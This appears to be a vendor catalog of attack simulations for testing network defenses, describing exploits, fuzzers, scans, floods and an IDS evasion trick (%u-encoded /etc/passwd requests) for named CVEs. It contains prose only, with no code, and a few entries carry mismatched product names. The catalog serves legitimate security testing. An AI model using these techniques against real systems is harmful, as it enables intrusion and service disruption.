Threat File Name:	FSC20100716-04_Ipswitch_IMail_Server_Mailing_List_Message_Subject_Buffer_Overflow.xml
Executive Description:	Ipswitch IMail Server Mailing List Message Subject Buffer Overflow

Detailed Description:	There exists a buffer overflow vulnerability in Ipswitch IMail Server. The vulnerability is due a boundary error in the imailsrv.exe which handles messages sent to the imailsrv. The vulnerable code does not properly handle messages that are sent to certain mailing lists and have crafted "Subject" header. A remote attacker can exploit this vulnerability by sending a crafted message to the affected service. Authentication is not needed if the mailing list has been previously password protected. Authentication is needed if the mailing list is currently password protected. Successful exploitation of this vulnerability can lead to arbitrary code execution under the context of the System user.
Protocol Type:	SMTP
Threat File Name:	pop_buffer_overflow_129_IPv6.xml
Executive Description:	POP Buffer Overflow [129] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [129 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	POP3/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_WRQ_OCTET_formatn.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRQ_OCTET_formatn.xml
Detailed Description:	Fuzzes Mode field by appending %n to octet with ranging sizes. OpCode is WRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	FSC20090714-04_Microsoft_DirectShow_QuickTime_stsc_Atom_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft DirectShow QuickTime stsc Atom Parsing Memory Corruption
Detailed Description:	A remote code execution vulnerability is reported in Microsoft DirectShow QuickTime Movie Parser filter. The vulnerability is due to improper input validation when parsing crafted stsc atoms in QuickTime format files. Remote attackers could exploit this vulnerability by convincing a target user to open a malicious QuickTime media file. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP/SMB/CIFS/SMTP
CVEID:	CVE-2009-1538
Threat Package:	Standard
Threat File Name:	apache_off_by_one.xml
Executive Description:	Apache GET / 8177 Bytes
Detailed Description:	This threat causes a crash in older Apache versions, due to an off-by-one memory bug.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	siplowercasemethod.xml
Executive Description:	SIP Lowercase Method
Detailed Description:	This threat sends out a SIP INVITE message with "invite" in lowercase letters. Because the method is case-sensitive, this can confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170509-24_Microsoft_Office_EPS_CVE-2017-0262_Type_Confusion.xml
Executive Description:	Microsoft Office EPS CVE-2017-0262 Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Office. This vulnerability is due to incorrect handling of Encapsulated PostScript files embedded in Office documents. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted file. Successful exploitation would allow the attacker to execute arbitrary code under the security context of the user. This vulnerability is currently being exploited in the wild.
Protocol Type:	HTTP,HTTPS,IMAP,SMTP,SMB/CIFS
CVEID:	CVE-2017-0262
Threat File Name:	TSL20170316-06_Microsoft_Edge_CVE-2017-0065_Information_Disclosure.xml
Executive Description:	Microsoft Edge CVE-2017-0065 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Edge. This vulnerability is due to a design weakness in the affected software. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0065
Threat File Name:	ids_unicode_evasion.xml
Executive Description:	IDS Non-Standard Encoding (Unicode) Evasion
Detailed Description:	This threat tries to bypass an IDS by sending out a request encoded in %u Unicode format. By using the %u encoding, many IDSes will fail to match the request to equivalent rules. This threat is a HTTP GET for /etc/passwd.
Protocol Type:	HTTP
CVEID:	CVE-2001-0669
OSVDB:	4438
Threat Package:	Standard
Threat File Name:	FSC20070919-22 EMC_VMware_Workstation_DHCP_Service_Integer_Underflow_IPv6.xml
Executive Description:	EMC VMware Workstation DHCP Service Integer Underflow (IPv6 Version)
Detailed Description:	There exists an integer underflow vulnerability in the way VMware DHCP service handles incoming messages. Specifically the vulnerability is due to lack of boundary check when processing DHCP requests. By sending specially crafted DHCP request, an unauthenticated remote attacker can leverage this flaw to execute arbitrary code on the target host with root or SYSTEM level privileges. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0063

Threat Package:	Standard
Threat File Name:	portscanUDP.xml
Executive Description:	Portscan: UDP
Detailed Description:	This threat mimics the behavior of a UDP portscan by a tool such as nmap. Closed ports will reply with an ICMP Destination Unreachable (Port Unreachable) message.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	phpcommunitycalendar_xss.xml
Executive Description:	phpCommunityCalendar 4.0.3 Cross Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing HTML to be included in the returned page via month.php's "LoName" parameter. phpCommunityCalendar is a web based application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2798
Threat Package:	Standard
Threat File Name:	apache_mod_jk_bof.xml
Executive Description:	Apache mod_jk 1.2.19/1.2.20 Remote Buffer Overflow Vulnerability
Detailed Description:	This threat demonstrates a stack overflow in Apache mod_jk 1.2.20. Using a large HTTP 1.0 get request to a vulnerable server will result in the execution of arbitrary code. Apache is a web server application an typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0774
OSVDB:	33855
Threat Package:	Standard
Threat File Name:	FSC20080708-05_Microsoft_SQL_Server_Backup_Restoring_Memory_Corruption.xml
Executive Description:	Microsoft SQL Server Backup Restoring Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft SQL Server. The vulnerability is due to improper checks when parsing records in backup database. A local or remote authenticated attacker could exploit the vulnerability by issuing a RESTORE command with the path to a malicious backup file placed on local filesystem, SMB share or WebDAV. Successful exploitation would cause a memory corruption condition which may lead to arbitrary code injection and execution in the security context of the SQL Server, normally System for SQL Server 2000 and earlier. In an attack case where code injection is not successful, the SQL Server process will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the SQL Server process.
Protocol Type:	HTTP/SMB/SQL
CVEID:	CVE-2008-0107
Threat Package:	Standard
Threat File Name:	FSC20080128-01_Firebird_Database_Server_Username_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Firebird Database Server Username Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Firebird database server product. The flaw is due to a boundary error when handling overly long username string in received messages. A remote unauthenticated attacker may exploit this vulnerability by sending crafted messages to the target server. Successful attack may allow for arbitrary code injection and execution with privileges of the affected service. (IPv6 Version)
Protocol Type:	GDSDB/IPv6
CVEID:	CVE-2008-0467
Threat Package:	Standard
Threat File Name:	RoseAttack2_IPv6.xml
Executive Description:	Rose Attack Flood Variant 2 (IPv6 Version)
Detailed Description:	This threat is a denial of service against the fragmentation reassembly code in Windows. It causes the target computer to reject further fragments from other sources for a window time of approximately 2 minutes. There is an unbound variable to specify the number of fragments with distinct IP identification numbers in this threat. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2004-0744
OSVDB:	8431
Threat Package:	Standard
Threat File Name:	TSL20111103-05_Microsoft_Multiple_Products_TrueType_Font_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Windows win32k.sys TrueType Font Parsing Kernel Memory Corruption
Detailed Description:	A memory corruption vulnerability has been identified in the Microsoft Windows kernel. The vulnerability is due to improper calculations and bounds checks when parsing a malicious font file. Malicious values within the font file can cause the vulnerable code to corrupt memory outside the allocated buffer. Remote attackers can exploit this vulnerability by enticing a user to open a crafted TrueType font file. If exploited successfully, an attacker can execute arbitrary code within the Windows kernel. This vulnerability is actively exploited by the Duqu malware.
Protocol Type:	HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2011-3402
OSVDB:	76843
Threat File Name:	TSL20160718-06_Multiple_Products_HTTP_PROXY_Traffic_Redirection.xml
Executive Description:	Multiple Products HTTP_PROXY Traffic Redirection
Detailed Description:	A traffic redirection vulnerability has been reported in the following products: PHP, Go, Apache HTTP Server, Apache Tomcat, HHVM, Lighttpd, Nginx and Python. This vulnerability allows attackers to set the HTTP_PROXY environment variable using the Proxy HTTP header. This vulnerability may be exploited by a remote attacker to redirect traffic through an attacker controlled proxy, potentially leading to a man-in-the-middle attack.
Protocol Type:	HTTP
CVEID:	CVE-2016-5386
Threat File Name:	TSL20170112-1_Advantech_WebAccess_updateTemplate.aspx_SQL_Injection_IPv6.xml
Executive Description:	Advantech WebAccess updateTemplate.aspx SQL Injection (IPv6 Version)

Detailed Description:	An SQL injection vulnerability has been reported in Advantech WebAccess. The vulnerability is due to insufficient validation of the template parameter in HTTP request sent to the updateTemplate.aspx. A remote attacker could exploit this vulnerability by sending a HTTP request with a malicious SQL query to the target server. Successful exploitation could allow the attacker to access and modify potentially sensitive information
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2017-5154
Threat File Name:	bluedragoncms_cmi_IPv6.xml
Executive Description:	Php Blue Dragon CMS 2.9 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via popup_finduser.phps "vsDragonRootPath" parameter. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090310-16_Microsoft_DNS_Server_WPAD_Registration_Spoofing_IPv6.xml
Executive Description:	Microsoft DNS Server WPAD Registration Spoofing (IPv6 Version)
Detailed Description:	A spoofing vulnerability exists in Microsoft DNS Server which might allow a man-in-the-middle attack to be performed. The vulnerability is due to the way DNS Server handles dynamic update registration messages. Remote attackers can exploit this vulnerability by sending a crafted WPAD registration message to the target server. Successful exploitation can allow an attacker to redirect Internet traffic and successfully perform a man-in-the-middle attack. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2009-0093
Threat Package:	Standard
Threat File Name:	FSC20101109-06_Microsoft_Office_Drawing_Exception_Handling_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Drawing Exception Handling Remote Code (IPv6 VERSION)
Detailed Description:	A code execution vulnerability exists in Microsoft Office. The vulnerability is due to an error in processing exceptions in drawing objects in Office files. A remote attacker can exploit this vulnerability by corrupting the memory in such a way that arbitrary code can be executed in the context of the logged in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3335
Threat File Name:	fuzz-ARP_hwAddrSize_IPv6.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:hwAddrSize (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	ARP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20060126-10_Oracle_Database_Server_XDB_DBMS_XMLSCHEMA_Buffer_Overflow.xml
Executive Description:	Oracle Database Server XDB.DBMS_XMLSCHEMA Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the Oracle Database Server product. The vulnerability exists due to insufficient validation of the arguments supplied to DBMS_XMLSCHEMA packages. A remote attacker with valid user credentials may use this vulnerability to execute arbitrary code with privileges of the database server process.
Protocol Type:	Proprietary
CVEID:	CVE-2006-0272
Threat Package:	Standard
Threat File Name:	bt-sondage_rfi.xml
Executive Description:	BT-Sondage-v112 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. BT-Sondage is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1812
Threat Package:	Standard
Threat File Name:	phpcommunitycalendar_sqli_a_IPv6.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via event.php's ID parameter. phpCommunityCalendar is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2798
Threat Package:	Standard
Threat File Name:	myblog_rfi_IPv6.xml
Executive Description:	MyBlog: Games.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MyBlog is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081027-07_Oracle_BEA_WebLogic_Server_Apache_Connector_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle BEA WebLogic Server Apache Connector Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable system with privileges of the running process, normally System. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4008
Threat Package:	Standard
Threat File Name:	prozilla_sqli.xml
Executive Description:	Prozilla Directory Script SQL Injection Vulnerability

Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. Prozilla Directory Script is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	firefox_xml_dos.xml
Executive Description:	Mozilla Firefox 2.0.0.7 Denial of Service Vulnerability
Detailed Description:	This threat demonstrates a denial of service attack against the Mozilla Firefox browser, this attack is slightly complicated by using a remotely included file. this threat is delivered via TCP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5339
Threat Package:	Standard
Threat File Name:	phpmydirectory_cmi.xml
Executive Description:	phpMyDirectory 10.4.4 Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via cron.php's ROOT_PATH parameter. Docebo is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2521
Threat Package:	Standard
Threat File Name:	FSC20060619-01_Microsoft_Excel_Crafted_URL_Unicode_Buffer_Overflow.xml
Executive Description:	Microsoft Excel Crafted URL Unicode Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of a Unicode string in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2006-3086
Threat Package:	Standard
Threat File Name:	contentserv_lfi_IPv6.xml
Executive Description:	ContentServ FileServer.php Directory Traversal Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files via a .. (dot dot) in the src parameter. ContentServ is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6277
Threat Package:	Standard
Threat File Name:	FSC20080212-22_Microsoft_Office_Works_File_Converter_WPS_File_Field_Length_Stack_Ove.xml
Executive Description:	Microsoft Office Works File Converter WPS File Field Length Stack Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to insufficient input validation of various field lengths while handling WPS files. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0108
Threat Package:	Standard
Threat File Name:	FSC20090706-04_Oracle_Database_Server_Workspace_Manager_Multiple_SQL_Injection_IPv6.xml
Executive Description:	Oracle Database Server Workspace Manager Multiple SQL Injection (IPv6 Version)
Detailed Description:	Multiple SQL injection vulnerabilities exist in Oracle Database Server product. The vulnerabilities are due to insufficient sanitization of input parameters in the Oracle Workspace Manager component. A remote attacker with valid user credentials may leverage these vulnerabilities to inject and execute SQL code with escalated privileges of SYS or WMSYS account. Successful exploitation would result in disclosure of sensitive information, and modification or manipulation of the data in the underlying database. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-3982
Threat Package:	Standard
Threat File Name:	TSL20121210-04_VideoLAN_VLC_Media_Player_SWF_Code_Execution_IPv6.xml
Executive Description:	VideoLAN VLC Media Player SWF Code Execution(IPV6 Version)
Detailed Description:	A code execution vulnerability has been reported in VLC Media Player. The vulnerability is due to memory corruption vulnerability when handling certain SWF files. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted SWF file with a vulnerable version of VLC Media Player. Successful exploitation may allow the attacker to execute arbitrary code on the target user's machine with the privileges of the VLC Media Player process. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,RTSP
OSVDB:	88299
Threat File Name:	firefox_location-hostname_cross-domain_vuln.xml
Executive Description:	Mozilla Firefox 'location.hostname' Cross-Domain Vulnerability
Detailed Description:	This threat leverages a flaw in Mozilla's Firefox web browser by writing a URI with a null byte to the hostname (location.hostname) DOM property resulting in a denial of service condition.This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0981
Threat Package:	Standard
Threat File Name:	phpmychat_xss_a_IPv6.xml
Executive Description:	PHPMyChat start_page.css.php Cross-Site Scripting Vulnerabilities (IPv6 Version)

Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. PHPMyChat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3991
OSVDB:	21544
Threat File Name:	in-link_rfi_IPv6.xml
Executive Description:	In-Portal In-Link ADODB_DIR.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. In-Link is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	motorola_sb4200_dos_IPv6.xml
Executive Description:	Motorola SB4200 Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious HTTP Post reply to a Motorola Cable modem's web interface that will result in a denial of service condition. Motorola SB4200 modems use a http server control console that typically listen on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20110203-09_VideoLAN_VLC_Media_Player_Subtitle_StripTags_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	VideoLAN VLC Media Player Subtitle StripTags Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in VLC Media Player. The vulnerability is due to insufficient input validation in the StripTags() function when processing strings with an opening "<" without the terminating "'>". An attacker can exploit this vulnerability by enticing a user to open a specially crafted Matroska file with an affected version of VLC Media Player. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the logic of the injected code, which will run within the security context of the target user. When code execution is not successful the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-0522
Threat File Name:	FSC20090609-09_Microsoft_Internet_Explorer_DHTML_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer DHTML Object Memory Corruption
Detailed Description:	A vulnerability exists in Microsoft Internet Explorer that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to the way Internet Explorer displays a Web page which makes unexpected method calls to HTML objects. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1141
Threat Package:	Standard
Threat File Name:	angelinecms_cmi.xml
Executive Description:	AngelineCMS 0.8.1 installpath argument Remote File Inclusion Exploit
Detailed Description:	This threat sends a standard HTTP query which uses an arbitrary host/path to insert PHP code which is executed by the server. AngelineCMS typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080513-09_Microsoft_Malware_Protection_Engine_File_Processing_Denial_of_Service.xml
Executive Description:	Microsoft Malware Protection Engine File Processing Denial of Service
Detailed Description:	There exists a vulnerability in Microsoft Malware Protection Engine, which can be exploited to cause denial of service. The vulnerability is due to insufficient validation of certain data values while parsing Portable Executable (PE) files compressed with PECompact. A remote attacker can exploit this vulnerability by sending a crafted PE file to the target, and potentially causing an access violation leading to a crash of the Malware Protection Engine. In a successful attack case, the affected service may terminate abnormally and cause a Denial of Service condition. In most products, the Microsoft Protection Engine service will restart automatically after a short delay (15 seconds in most cases).
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1437
Threat Package:	Standard
Threat File Name:	FSC20100804-02_HP_OpenView_Network_Node_Manager_OvJavaLocale_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager OvJavaLocale Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to an error in the webappmon.exe CGI application when processing the OvJavaLocale cookie variable sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the webappmon.exe process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2709
Threat Package:	Standard
Threat File Name:	vmware_intraproclog_dll_activex_overwrite_IPv6.xml
Executive Description:	VmWare Inc IntraProcessLogging.dll 5.5.3.42958 Arbitrary Data Write Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the VMware IntraProcessLogging.dll ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2007-4059
Threat Package:	Standard
Threat File Name:	NOOPudpSPARC3_IPv6.xml
Executive Description:	UDP NOOP Variant SPARC 3 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	winamp_wma_dos.xml
Executive Description:	Nullsoft Winamp Malformed Playlist File WMA Extension Remote Buffer Overflow Vulnerability
Detailed Description:	This threat uses an emulated web server to deliver a malformed WMA file that may crash a vulnerable winamp media player. Winamp is a client application, this threat delivers the payload via port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3188
OSVDB:	22975
Threat Package:	Standard
Threat File Name:	sugarsuite_rfi_b_IPv6.xml
Executive Description:	Sugar Suite Open Source Multiple Remote and Local File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing the path for a local file to include in the returned page via the "beanFiles[1]" parameter for the RebuildAudit.php and LockResolve.php scripts. SugarCRM is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2460
Threat Package:	Standard
Threat File Name:	FSC20080303-06_ClamAV_libclamav_PE_File_Handling_Integer_Overflow_IPv6.xml
Executive Description:	ClamAV libclamav PE File Handling Integer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the ClamAV AntiVirus product. The vulnerability can be triggered when the application processes crafted PE files. An unauthenticated attacker can exploit this vulnerability by delivering a crafted file to the scanning service resulting in injection and execution of arbitrary code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0318
Threat Package:	Standard
Threat File Name:	TSL20170406-08_ManageEngine_Applications_Manager_Apache_Commons_Collections_Insecure_Deserialization.xml
Executive Description:	ManageEngine Applications Manager Apache Commons Collections Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability exists in ManageEngine Applications Manager. This vulnerability is due to the inclusion of the vulnerable version of Apache Commons Collections library in the classpath combined with insecure deserialization. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted message to the RMI service running on port 11099/TCP. Successful exploitation can result in arbitrary code execution in the security context of the RMI service.
Protocol Type:	RMI
CVEID:	CVE-2016-9498
Threat File Name:	TSL20120323-02_Novell_iPrint_Client_ActiveX_GetPrinterURLList2_Invalid_Free.xml
Executive Description:	Novell iPrint Client ActiveX GetPrinterURLList2 Invalid Free
Detailed Description:	A memory corruption vulnerability has been reported in Novell's iPrint Client ActiveX control. The vulnerability is due to the use of uninitialized pointers in a call to a free function. A remote, unauthenticated attacker could exploit this vulnerability to execute arbitrary code in the security context of the user. If code execution is unsuccessful, the application may terminate unexpectedly.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-4185
Threat File Name:	sienzo_dmm_activex_bof_IPv6.xml
Executive Description:	Sienzo Digital Music Mentor (DMM) 2.6.0.4 (DSKernel2.dll) SetEvalExpiryDate Method Stack Overflow SEH Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Sienzo Digital Music Mentor ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2564
Threat Package:	Standard
Threat File Name:	FSC20090202-17_Oracle_Application_Server_Portal_Cross_Site_Scripting.xml
Executive Description:	Oracle Application Server Portal Cross Site Scripting
Detailed Description:	A cross-site scripting vulnerability exists in Oracle Application Server Portal. The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site. An attack targeting this vulnerability can result in the injection and execution of script code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20120928-04_Trend_Micro_Control_Manager_ad_hoc_query_Module_SQL_Injection.xml
Executive Description:	Trend Micro Control Manager ad hoc query Module SQL Injection
Detailed Description:	An SQL injection vulnerability exists in Trend Micro Control Manager. The vulnerability is due to insufficient input validation on user queries by the ad hoc query module. A remote, authenticated attacker could exploit this vulnerability by sending crafted parameter in the GET request for AdHocQuery_Processor.aspx page. A successful exploitation attempt could result in the execution of SQL commands under the context of the SYSTEM user.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-2998
OSVDB:	85807
Threat File Name:	TSL20111011-16_Microsoft_Internet_Explorer_Scroll_Event_Use-After-Free.xml
Executive Description:	Microsoft Internet Explorer Scroll Event Use-After-Free
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer (IE). The vulnerability is due to a use-after-free vulnerability when handling the Scroll Event. A remote attacker can exploit this vulnerability by enticing a target user to visit a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1993
Threat File Name:	FSC20041124-01_Winamp_IN_CDDA_dll_Buffer_Overflow_IPv6.xml
Executive Description:	Winamp IN_CDDA.dll Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the way Winamp parses playlist files and CD audio files. If a playlist file contains an overly long reference to a file in CD audio format (with a .cda extension) or a CD audio file has a long filename, a buffer overflow can occur in the component IN_CDDA.dll. An attacker can exploit this vulnerability to execute arbitrary code on a vulnerable system by enticing a user to open a specially crafted playlist file or CD audio file. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1119
Threat Package:	Standard
Threat File Name:	TSL20140128-07_MW6_Technologies_Aztec_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	MW6 Technologies Aztec ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in MW6 Technologies Aztec ActiveX Control. The vulnerability is due to improperly handled user input in the 'Data' parameter. A remote attacker can exploit this vulnerability by crafting a malicious HTML document causing a buffer overflow. Successful exploitation could lead to code execution in the security context of the affected user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-6040
OSVDB:	102323
Threat File Name:	FSC20090330-04_Sun_Java_Web_Start_Splashscreen_PNG_Processing_Buffer_Overflow.xml
Executive Description:	Sun Java Web Start Splashscreen PNG Processing Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in Sun Microsystems' Java Web Start (JWS). The flaw is due to a boundary error when displaying a customized splash screen PNG image. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web page. Successful attack can allow for arbitrary code injection and execution with the privileges of the target user. In an attack case where code injection is not successful, the Java Web Start application will terminate unexpectedly. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. In such a case, the injected code will be executed within the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1097
Threat Package:	Standard
Threat File Name:	see-commerce_rfi.xml
Executive Description:	See-Commerce Owimg.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the owimg.php function which allows a malicious user to include commands in the context of the vulnerable web server. See-Commerce is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-HSRP_Version.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:Version
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	FSC20071011-09_CA_Multiple_Products_DBASVR_RPC_Server_Crafted_Pointer_Buffer_Overflow.xml
Executive Description:	CA Multiple Products DBASVR RPC Server Crafted Pointer Buffer Overflow
